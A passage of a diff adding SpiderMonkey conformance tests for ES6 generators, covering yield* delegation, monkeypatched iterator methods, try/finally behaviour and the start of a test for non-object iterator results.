+inner.next = function () { return { done: true, get value() { throw Poison} } };
+inner.throw = log_calls(inner.throw);
+assertThrowsValue(outer.next.bind(outer), Poison);
+assertEq(log, "");
+
+// Poison result done from inner.
+inner = g(10);
+outer = delegate(inner);
+inner.next = function () { return { get done() { throw Poison }, value: 42 } };
+inner.throw = log_calls(inner.throw);
+assertThrowsValue(outer.next.bind(outer), Poison);
+assertEq(log, "");
+
+// mischief managed.
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/delegating-yield-11.js b/js/src/tests/ecma_6/Generators/delegating-yield-11.js
new file mode 100644
index 000000000..f7e6650fb
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/delegating-yield-11.js
@@ -0,0 +1,20 @@
+// The first call to yield* passes one arg to "next".
+
+function Iter() {
+ function next() {
+ if (arguments.length != 1)
+ throw Error;
+ return { value: 42, done: true }
+ }
+
+ this.next = next;
+ this[Symbol.iterator] = function () { return this; }
+}
+
+function* delegate(iter) { return yield* iter; }
+
+var iter = delegate(new Iter());
+assertDeepEq(iter.next(), {value:42, done:true});
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/delegating-yield-12.js b/js/src/tests/ecma_6/Generators/delegating-yield-12.js
new file mode 100644
index 000000000..9ed7666e1
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/delegating-yield-12.js
@@ -0,0 +1,49 @@
+// yield* calls @@iterator on the iterable to produce the iterator.
+
+var log = '';
+
+function IteratorWrapper(iterator) {
+ return {
+ next: function (val) {
+ log += 'n';
+ return iterator.next(val);
+ },
+
+ throw: function (exn) {
+ log += 't';
+ return iterator.throw(exn);
+ }
+ };
+}
+
+function IterableWrapper(iterable) {
+ var ret = {};
+
+ ret[Symbol.iterator] = function () {
+ log += 'i';
+ return IteratorWrapper(iterable[Symbol.iterator]());
+ }
+
+ return ret;
+}
+
+function* delegate(iter) { return yield* iter; }
+
+var iter = delegate(IterableWrapper([1, 2, 3]));
+assertIteratorNext(iter, 1);
+assertIteratorNext(iter, 2);
+assertIteratorNext(iter, 3);
+assertIteratorDone(iter, undefined);
+
+assertEq(log, 'innnn');
+
+iter = delegate([1, 2, 3]);
+assertIteratorNext(iter, 1);
+assertIteratorNext(iter, 2);
+assertIteratorNext(iter, 3);
+assertIteratorDone(iter, undefined);
+
+assertEq(log, 'innnn');
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/delegating-yield-2.js b/js/src/tests/ecma_6/Generators/delegating-yield-2.js
new file mode 100644
index 000000000..918fb33e1
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/delegating-yield-2.js
@@ -0,0 +1,71 @@
+// Test yield* with iter.throw and monkeypatching.
+
+function* g1() { return (yield 1); }
+function* g2() { try { yield 1; } catch (e) { yield e; } }
+function* delegate(iter) { return yield* iter; }
+var GeneratorObjectPrototype = Object.getPrototypeOf(g1).prototype;
+var GeneratorObjectPrototype_throw = GeneratorObjectPrototype.throw;
+
+// An uncaught delegated throw.
+var inner = g1();
+var outer = delegate(inner);
+assertIteratorNext(outer, 1);
+assertThrowsValue(function () { outer.throw(42) }, 42);
+assertThrowsValue(function () { outer.throw(42) }, 42);
+
+// A caught delegated throw.
+inner = g2();
+outer = delegate(inner);
+assertIteratorNext(outer, 1);
+assertIteratorResult(outer.throw(42), 42, false);
+assertThrowsValue(function () { outer.throw(42) }, 42);
+assertThrowsValue(function () { outer.throw(42) }, 42);
+
+// What would be an uncaught delegated throw, but with a monkeypatched iterator.
+inner = g1();
+outer = delegate(inner);
+assertIteratorNext(outer, 1);
+inner.throw = function(e) { return e*2; };
+assertEq(84, outer.throw(42));
+assertIteratorDone(outer, undefined);
+
+// Monkeypatching inner.next.
+inner = g1();
+outer = delegate(inner);
+inner.next = function() { return { value: 13, done: true } };
+assertIteratorDone(outer, 13);
+
+// What would be a caught delegated throw, but with a monkeypunched prototype.
+inner = g2();
+outer = delegate(inner);
+assertIteratorNext(outer, 1);
+delete GeneratorObjectPrototype.throw;
+var outer_throw_42 = GeneratorObjectPrototype_throw.bind(outer, 42);
+assertThrowsValue(outer_throw_42, 42);
+assertThrowsValue(outer_throw_42, 42);
+
+// Monkeypunch a different throw handler.
+inner = g2();
+outer = delegate(inner);
+outer_throw_42 = GeneratorObjectPrototype_throw.bind(outer, 42);
+assertIteratorNext(outer, 1);
+GeneratorObjectPrototype.throw = function(e) { return e*2; }
+assertEq(84, outer_throw_42());
+assertEq(84, outer_throw_42());
+// This continues indefinitely.
+assertEq(84, outer_throw_42());
+assertIteratorDone(outer, undefined);
+
+// The same, but restoring the original pre-monkey throw.
+inner = g2();
+outer = delegate(inner);
+outer_throw_42 = GeneratorObjectPrototype_throw.bind(outer, 42);
+assertIteratorNext(outer, 1);
+assertEq(84, outer_throw_42());
+assertEq(84, outer_throw_42());
+GeneratorObjectPrototype.throw = GeneratorObjectPrototype_throw;
+assertIteratorResult(outer_throw_42(), 42, false);
+assertIteratorDone(outer, undefined);
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/delegating-yield-3.js b/js/src/tests/ecma_6/Generators/delegating-yield-3.js
new file mode 100644
index 000000000..34800f1b0
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/delegating-yield-3.js
@@ -0,0 +1,40 @@
+// Test yield* with iter.next and monkeypatching.
+
+function* g(n) { for (var i=0; i<n; i++) yield i; }
+function* delegate(iter) { return yield* iter; }
+var GeneratorObjectPrototype = Object.getPrototypeOf(g).prototype;
+var GeneratorObjectPrototype_next = GeneratorObjectPrototype.next;
+
+// Monkeypatch next on an iterator.
+var inner = g(20);
+var outer = delegate(inner);
+assertIteratorNext(outer, 0);
+assertIteratorNext(outer, 1);
+inner.next = function() { return { patched: true }; };
+// 42 yielded directly without re-boxing.
+assertEq(true, outer.next().patched);
+// Outer generator not terminated.
+assertEq(true, outer.next().patched);
+// Restore.
+inner.next = GeneratorObjectPrototype_next;
+assertIteratorNext(outer, 2);
+// Repatch.
+inner.next = function() { return { value: 42, done: true }; };
+assertIteratorDone(outer, 42);
+
+// Monkeypunch next on the prototype.
+var inner = g(20);
+var outer = delegate(inner);
+assertIteratorNext(outer, 0);
+assertIteratorNext(outer, 1);
+GeneratorObjectPrototype.next = function() { return { patched: true }; };
+// 42 yielded directly without re-boxing.
+assertEq(true, GeneratorObjectPrototype_next.call(outer).patched);
+// Outer generator not terminated.
+assertEq(true, GeneratorObjectPrototype_next.call(outer).patched);
+// Restore.
+GeneratorObjectPrototype.next = GeneratorObjectPrototype_next;
+assertIteratorNext(outer, 2);
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/delegating-yield-4.js b/js/src/tests/ecma_6/Generators/delegating-yield-4.js
new file mode 100644
index 000000000..c07673172
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/delegating-yield-4.js
@@ -0,0 +1,18 @@
+// With yield*, inner and outer iterators can be invoked separately.
+
+function* g(n) { for (var i=0; i<n; i++) yield i; }
+function* delegate(iter) { return yield* iter; }
+
+var inner = g(20);
+var outer1 = delegate(inner);
+var outer2 = delegate(inner);
+
+assertIteratorNext(outer1, 0);
+assertIteratorNext(outer2, 1);
+assertIteratorNext(inner, 2);
+assertIteratorNext(outer1, 3);
+assertIteratorNext(outer2, 4);
+assertIteratorNext(inner, 5);
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/delegating-yield-5.js b/js/src/tests/ecma_6/Generators/delegating-yield-5.js
new file mode 100644
index 000000000..f4376743b
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/delegating-yield-5.js
@@ -0,0 +1,37 @@
+// Test that a deep yield* chain re-yields received results without
+// re-boxing.
+
+function results(results) {
+ var i = 0;
+ function next() {
+ return results[i++];
+ }
+ var iter = { next: next };
+ var ret = {};
+ ret[Symbol.iterator] = function () { return iter; }
+ return ret;
+}
+
+function* yield_results(expected, n) {
+ return yield* n ? yield_results(expected, n - 1) : results(expected);
+}
+
+function collect_results(iterable) {
+ var ret = [];
+ var result;
+ var iter = iterable[Symbol.iterator]();
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+// We have to put a full result for the end, because the return will re-box.
+var expected = [{value: 1}, {value: 34, done: true}];
+
+assertDeepEq(expected, collect_results(results(expected)));
+assertDeepEq(expected, collect_results(yield_results(expected, 20)));
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/delegating-yield-6.js b/js/src/tests/ecma_6/Generators/delegating-yield-6.js
new file mode 100644
index 000000000..8b358525c
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/delegating-yield-6.js
@@ -0,0 +1,56 @@
+// Test that each yield* loop just checks "done", and "value" is only
+// fetched once at the end.
+
+var log = "";
+
+function collect_results(iter) {
+ var ret = [];
+ var result;
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+function Iter(val, count) {
+ function next() {
+ log += 'n';
+ return {
+ get done() { log += "d"; return count-- == 0; },
+ get value() { log += "v"; return val; }
+ }
+ }
+
+ function iterator() {
+ log += 'i';
+ return this;
+ }
+
+ this.next = next;
+ this[Symbol.iterator] = iterator;
+}
+
+function* delegate(iter) { return yield* iter; }
+
+var inner = new Iter(42, 5);
+var outer = delegate(inner);
+
+// Five values, and one terminal value.
+outer.next();
+outer.next();
+outer.next();
+outer.next();
+outer.next();
+outer.next();
+
+assertEq(log, "indndndndndndv");
+
+// Outer's dead, man. Outer's dead.
+assertDeepEq(outer.next(), {value: undefined, done: true});
+
+// No more checking the iterator.
+assertEq(log, "indndndndndndv");
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/delegating-yield-7.js b/js/src/tests/ecma_6/Generators/delegating-yield-7.js
new file mode 100644
index 000000000..f7c9e86cc
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/delegating-yield-7.js
@@ -0,0 +1,38 @@
+// The iteratee of yield* can be a proxy.
+
+function results(results) {
+ var i = 0;
+ function iterator() {
+ return this;
+ }
+ function next() {
+ return results[i++];
+ }
+ var ret = { next: next }
+ ret[Symbol.iterator] = iterator;
+ return ret;
+}
+
+function* yield_results(expected) {
+ return yield* new Proxy(results(expected), {});
+}
+
+function collect_results(iter) {
+ var ret = [];
+ var result;
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+// We have to put a full result for the end, because the return will re-box.
+var expected = [{value: 1}, {value: 34, done: true}];
+
+// Sanity check.
+assertDeepEq(expected, collect_results(results(expected)));
+assertDeepEq(expected, collect_results(yield_results(expected)));
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/delegating-yield-8.js b/js/src/tests/ecma_6/Generators/delegating-yield-8.js
new file mode 100644
index 000000000..c17d6ea26
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/delegating-yield-8.js
@@ -0,0 +1,44 @@
+// Test that yield* can appear in a loop, and alongside yield.
+
+function* countdown(n) {
+ while (n > 0) {
+ yield n;
+ yield* countdown(--n);
+ }
+ return 34;
+}
+
+function collect_results(iter) {
+ var ret = [];
+ var result;
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+var expected = [
+ // yield in countdown(3), n == 3
+ {value: 3, done: false},
+ // yield in yield* countdown(2), n == 2
+ {value: 2, done: false},
+ // yield in nested yield* countdown(1), n == 1
+ {value: 1, done: false},
+ // countdown(0) yields no values
+ // second go-through of countdown(2) loop, n == 1
+ {value: 1, done: false},
+ // second go-through of countdown(3) loop, n == 2
+ {value: 2, done: false},
+ // yield in yield* countdown(1), n == 1
+ {value: 1, done: false},
+ // third go-through of countdown(3) loop, n == 1
+ {value: 1, done: false},
+ // done
+ {value: 34, done: true}
+];
+
+assertDeepEq(expected, collect_results(countdown(3)));
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/delegating-yield-9.js b/js/src/tests/ecma_6/Generators/delegating-yield-9.js
new file mode 100644
index 000000000..60c35b94d
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/delegating-yield-9.js
@@ -0,0 +1,37 @@
+// Test that yield* can appear in a loop, and inside yield.
+
+function* countdown(n) {
+ while (n > 0) {
+ yield (yield* countdown(--n));
+ }
+ return 34;
+}
+
+function collect_results(iter) {
+ var ret = [];
+ var result;
+ do {
+ result = iter.next();
+ ret.push(result);
+ } while (!result.done);
+ return ret;
+}
+
+var expected = [
+ // Only 34 yielded from the "yield" and the last return make it out.
+ // Three yields in countdown(3), two in countdown(2), and one in
+ // countdown(1) (called twice).
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: false},
+ {value: 34, done: true}, // final
+];
+
+assertDeepEq(collect_results(countdown(3)), expected);
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/iteration.js b/js/src/tests/ecma_6/Generators/iteration.js
new file mode 100644
index 000000000..6eb6a51aa
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/iteration.js
@@ -0,0 +1,574 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-objects.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-objects.js
+
+// Test aspects of the generator runtime.
+
+
+var GeneratorFunction = (function*(){yield 1;}).constructor;
+
+
+function TestGeneratorResultPrototype() {
+ function* g() { yield 1; }
+ var iter = g();
+ assertIteratorNext(iter, 1);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+}
+TestGeneratorResultPrototype();
+
+function TestGenerator(g, expected_values_for_next,
+ send_val, expected_values_for_send) {
+ function testNext(thunk) {
+ var iter = thunk();
+ for (var i = 0; i < expected_values_for_next.length; i++) {
+ assertIteratorResult(iter.next(), expected_values_for_next[i],
+ i == expected_values_for_next.length - 1);
+ }
+ assertIteratorDone(iter, undefined);
+ }
+ function testSend(thunk) {
+ var iter = thunk();
+ for (var i = 0; i < expected_values_for_send.length; i++) {
+ assertIteratorResult(iter.next(send_val),
+ expected_values_for_send[i],
+ i == expected_values_for_send.length - 1);
+ }
+ assertIteratorDone(iter, undefined);
+ }
+ function testThrow(thunk) {
+ for (var i = 0; i < expected_values_for_next.length; i++) {
+ var iter = thunk();
+ for (var j = 0; j < i; j++) {
+ assertIteratorResult(iter.next(),
+ expected_values_for_next[j],
+ j == expected_values_for_next.length - 1);
+ }
+ var Sentinel = function () {}
+ assertThrowsInstanceOf(function () { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ }
+
+ testNext(g);
+ testSend(g);
+ testThrow(g);
+
+ testNext(function*() { return yield* g(); });
+ testSend(function*() { return yield* g(); });
+ testThrow(function*() { return yield* g(); });
+
+ if (g instanceof GeneratorFunction) {
+ testNext(function() { return g(); });
+ testSend(function() { return g(); });
+ testThrow(function() { return g(); });
+ }
+}
+
+TestGenerator(function* g1() { },
+ [undefined],
+ "foo",
+ [undefined]);
+
+TestGenerator(function* g2() { yield 1; },
+ [1, undefined],
+ "foo",
+ [1, undefined]);
+
+TestGenerator(function* g3() { yield 1; yield 2; },
+ [1, 2, undefined],
+ "foo",
+ [1, 2, undefined]);
+
+TestGenerator(function* g4() { yield 1; yield 2; return 3; },
+ [1, 2, 3],
+ "foo",
+ [1, 2, 3]);
+
+TestGenerator(function* g5() { return 1; },
+ [1],
+ "foo",
+ [1]);
+
+TestGenerator(function* g6() { var x = yield 1; return x; },
+ [1, undefined],
+ "foo",
+ [1, "foo"]);
+
+TestGenerator(function* g7() { var x = yield 1; yield 2; return x; },
+ [1, 2, undefined],
+ "foo",
+ [1, 2, "foo"]);
+
+TestGenerator(function* g8() { for (var x = 0; x < 4; x++) { yield x; } },
+ [0, 1, 2, 3, undefined],
+ "foo",
+ [0, 1, 2, 3, undefined]);
+
+// Generator with arguments.
+TestGenerator(
+ function g9() {
+ return (function*(a, b, c, d) {
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi", "fo", "fum");
+ },
+ ["fee", "fi", "fo", "fum", undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", undefined]);
+
+// Too few arguments.
+TestGenerator(
+ function g10() {
+ return (function*(a, b, c, d) {
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi");
+ },
+ ["fee", "fi", undefined, undefined, undefined],
+ "foo",
+ ["fee", "fi", undefined, undefined, undefined]);
+
+// Too many arguments.
+TestGenerator(
+ function g11() {
+ return (function*(a, b, c, d) {
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi", "fo", "fum", "I smell the blood of an Englishman");
+ },
+ ["fee", "fi", "fo", "fum", undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", undefined]);
+
+// The arguments object.
+TestGenerator(
+ function g12() {
+ return (function*(a, b, c, d) {
+ for (var i = 0; i < arguments.length; i++) {
+ yield arguments[i];
+ }
+ })("fee", "fi", "fo", "fum", "I smell the blood of an Englishman");
+ },
+ ["fee", "fi", "fo", "fum", "I smell the blood of an Englishman",
+ undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", "I smell the blood of an Englishman",
+ undefined]);
+
+// Access to captured free variables.
+TestGenerator(
+ function g13() {
+ return (function(a, b, c, d) {
+ return (function*() {
+ yield a; yield b; yield c; yield d;
+ })();
+ })("fee", "fi", "fo", "fum");
+ },
+ ["fee", "fi", "fo", "fum", undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", undefined]);
+
+// Abusing the arguments object.
+TestGenerator(
+ function g14() {
+ return (function*(a, b, c, d) {
+ arguments[0] = "Be he live";
+ arguments[1] = "or be he dead";
+ arguments[2] = "I'll grind his bones";
+ arguments[3] = "to make my bread";
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi", "fo", "fum");
+ },
+ ["Be he live", "or be he dead", "I'll grind his bones", "to make my bread",
+ undefined],
+ "foo",
+ ["Be he live", "or be he dead", "I'll grind his bones", "to make my bread",
+ undefined]);
+
+// Abusing the arguments object: strict mode.
+TestGenerator(
+ function g15() {
+ return (function*(a, b, c, d) {
+ "use strict";
+ arguments[0] = "Be he live";
+ arguments[1] = "or be he dead";
+ arguments[2] = "I'll grind his bones";
+ arguments[3] = "to make my bread";
+ yield a; yield b; yield c; yield d;
+ })("fee", "fi", "fo", "fum");
+ },
+ ["fee", "fi", "fo", "fum", undefined],
+ "foo",
+ ["fee", "fi", "fo", "fum", undefined]);
+
+// GC.
+if (typeof gc == 'function') {
+ TestGenerator(function* g16() { yield "baz"; gc(); yield "qux"; },
+ ["baz", "qux", undefined],
+ "foo",
+ ["baz", "qux", undefined]);
+}
+
+// Receivers.
+TestGenerator(
+ function g17() {
+ function* g() { yield this.x; yield this.y; }
+ var o = { start: g, x: 1, y: 2 };
+ return o.start();
+ },
+ [1, 2, undefined],
+ "foo",
+ [1, 2, undefined]);
+
+// FIXME: Capture the generator object as "this" in new g(). Bug 907742.
+// TestGenerator(
+// function g18() {
+// function* g() { yield this.x; yield this.y; }
+// var iter = new g;
+// iter.x = 1;
+// iter.y = 2;
+// return iter;
+// },
+// [1, 2, undefined],
+// "foo",
+// [1, 2, undefined]);
+
+TestGenerator(
+ function* g19() {
+ var x = 1;
+ yield x;
+ with({x:2}) { yield x; }
+ yield x;
+ },
+ [1, 2, 1, undefined],
+ "foo",
+ [1, 2, 1, undefined]);
+
+TestGenerator(
+ function* g20() { yield (1 + (yield 2) + 3); },
+ [2, NaN, undefined],
+ "foo",
+ [2, "1foo3", undefined]);
+
+TestGenerator(
+ function* g21() { return (1 + (yield 2) + 3); },
+ [2, NaN],
+ "foo",
+ [2, "1foo3"]);
+
+TestGenerator(
+ function* g22() { yield (1 + (yield 2) + 3); yield (4 + (yield 5) + 6); },
+ [2, NaN, 5, NaN, undefined],
+ "foo",
+ [2, "1foo3", 5, "4foo6", undefined]);
+
+TestGenerator(
+ function* g23() {
+ return (yield (1 + (yield 2) + 3)) + (yield (4 + (yield 5) + 6));
+ },
+ [2, NaN, 5, NaN, NaN],
+ "foo",
+ [2, "1foo3", 5, "4foo6", "foofoo"]);
+
+// Rewind a try context with and without operands on the stack.
+TestGenerator(
+ function* g24() {
+ try {
+ return (yield (1 + (yield 2) + 3)) + (yield (4 + (yield 5) + 6));
+ } catch (e) {
+ throw e;
+ }
+ },
+ [2, NaN, 5, NaN, NaN],
+ "foo",
+ [2, "1foo3", 5, "4foo6", "foofoo"]);
+
+// Yielding in a catch context, with and without operands on the stack.
+TestGenerator(
+ function* g25() {
+ try {
+ throw (yield (1 + (yield 2) + 3))
+ } catch (e) {
+ if (typeof e == 'object') throw e;
+ return e + (yield (4 + (yield 5) + 6));
+ }
+ },
+ [2, NaN, 5, NaN, NaN],
+ "foo",
+ [2, "1foo3", 5, "4foo6", "foofoo"]);
+
+// Generator function instances.
+TestGenerator(GeneratorFunction(),
+ [undefined],
+ "foo",
+ [undefined]);
+
+TestGenerator(new GeneratorFunction(),
+ [undefined],
+ "foo",
+ [undefined]);
+
+TestGenerator(GeneratorFunction('yield 1;'),
+ [1, undefined],
+ "foo",
+ [1, undefined]);
+
+TestGenerator(
+ function() { return GeneratorFunction('x', 'y', 'yield x + y;')(1, 2) },
+ [3, undefined],
+ "foo",
+ [3, undefined]);
+
+// Access to this with formal arguments.
+TestGenerator(
+ function () {
+ return ({ x: 42, g: function* (a) { yield this.x } }).g(0);
+ },
+ [42, undefined],
+ "foo",
+ [42, undefined]);
+
+function TestTryCatch(instantiate) {
+ function* g() { yield 1; try { yield 2; } catch (e) { yield e; } yield 3; }
+ function Sentinel() {}
+
+ function Test1(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+ }
+ Test1(instantiate(g));
+
+ function Test2(iter) {
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test2(instantiate(g));
+
+ function Test3(iter) {
+ assertIteratorNext(iter, 1);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test3(instantiate(g));
+
+ function Test4(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorNext(iter, 3);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+ }
+ Test4(instantiate(g));
+
+ function Test5(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorNext(iter, 3);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+
+ }
+ Test5(instantiate(g));
+
+ function Test6(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test6(instantiate(g));
+}
+TestTryCatch(function (g) { return g(); });
+TestTryCatch(function* (g) { return yield* g(); });
+
+function TestTryFinally(instantiate) {
+ function* g() { yield 1; try { yield 2; } finally { yield 3; } yield 4; }
+ function Sentinel() {}
+ function Sentinel2() {}
+
+ function Test1(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertIteratorNext(iter, 4);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+ }
+ Test1(instantiate(g));
+
+ function Test2(iter) {
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test2(instantiate(g));
+
+ function Test3(iter) {
+ assertIteratorNext(iter, 1);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test3(instantiate(g));
+
+ function Test4(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorResult(iter.throw(new Sentinel), 3, false);
+ assertThrowsInstanceOf(function() { iter.next(); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+
+ }
+ Test4(instantiate(g));
+
+ function Test5(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorResult(iter.throw(new Sentinel), 3, false);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel2); }, Sentinel2);
+ assertIteratorDone(iter, undefined);
+ }
+ Test5(instantiate(g));
+
+ function Test6(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test6(instantiate(g));
+
+ function Test7(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertIteratorNext(iter, 4);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test7(instantiate(g));
+}
+TestTryFinally(function (g) { return g(); });
+TestTryFinally(function* (g) { return yield* g(); });
+
+function TestNestedTry(instantiate) {
+ function* g() {
+ try {
+ yield 1;
+ try { yield 2; } catch (e) { yield e; }
+ yield 3;
+ } finally {
+ yield 4;
+ }
+ yield 5;
+ }
+ function Sentinel() {}
+ function Sentinel2() {}
+
+ function Test1(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertIteratorNext(iter, 4);
+ assertIteratorNext(iter, 5);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+ }
+ Test1(instantiate(g));
+
+ function Test2(iter) {
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test2(instantiate(g));
+
+ function Test3(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorResult(iter.throw(new Sentinel), 4, false);
+ assertThrowsInstanceOf(function() { iter.next(); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test3(instantiate(g));
+
+ function Test4(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorResult(iter.throw(new Sentinel), 4, false);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel2); }, Sentinel2);
+ assertIteratorDone(iter, undefined);
+ }
+ Test4(instantiate(g));
+
+ function Test5(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorNext(iter, 3);
+ assertIteratorNext(iter, 4);
+ assertIteratorNext(iter, 5);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+
+ }
+ Test5(instantiate(g));
+
+ function Test6(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorResult(iter.throw(new Sentinel2), 4, false);
+ assertThrowsInstanceOf(function() { iter.next(); }, Sentinel2);
+ assertIteratorDone(iter, undefined);
+ }
+ Test6(instantiate(g));
+
+ function Test7(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorNext(iter, 3);
+ assertIteratorResult(iter.throw(new Sentinel2), 4, false);
+ assertThrowsInstanceOf(function() { iter.next(); }, Sentinel2);
+ assertIteratorDone(iter, undefined);
+
+ }
+ Test7(instantiate(g));
+
+ // That's probably enough.
+}
+TestNestedTry(function (g) { return g(); });
+TestNestedTry(function* (g) { return yield* g(); });
+
+function TestRecursion() {
+ function TestNextRecursion() {
+ function* g() { yield iter.next(); }
+ var iter = g();
+ return iter.next();
+ }
+ function TestSendRecursion() {
+ function* g() { yield iter.next(42); }
+ var iter = g();
+ return iter.next();
+ }
+ function TestThrowRecursion() {
+ function* g() { yield iter.throw(1); }
+ var iter = g();
+ return iter.next();
+ }
+ assertThrowsInstanceOf(TestNextRecursion, TypeError);
+ assertThrowsInstanceOf(TestSendRecursion, TypeError);
+ assertThrowsInstanceOf(TestThrowRecursion, TypeError);
+}
+TestRecursion();
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Generators/iterator-next-non-object.js b/js/src/tests/ecma_6/Generators/iterator-next-non-object.js
new file mode 100644
index 000000000..453f4cd87
--- /dev/null
+++ b/js/src/tests/ecma_6/Generators/iterator-next-non-object.js
@@ -0,0 +1,64 @@
+var BUGNUMBER = 1016936;
+var summary = "IteratorNext should throw if the value returned by iterator.next() is not an object.";
+
+print(BUGNUMBER + ": " + summary);
+
+var nonobjs = [
+ null,
+ undefined,
+ 1,
+ true,
+ "a",
+ Symbol.iterator,
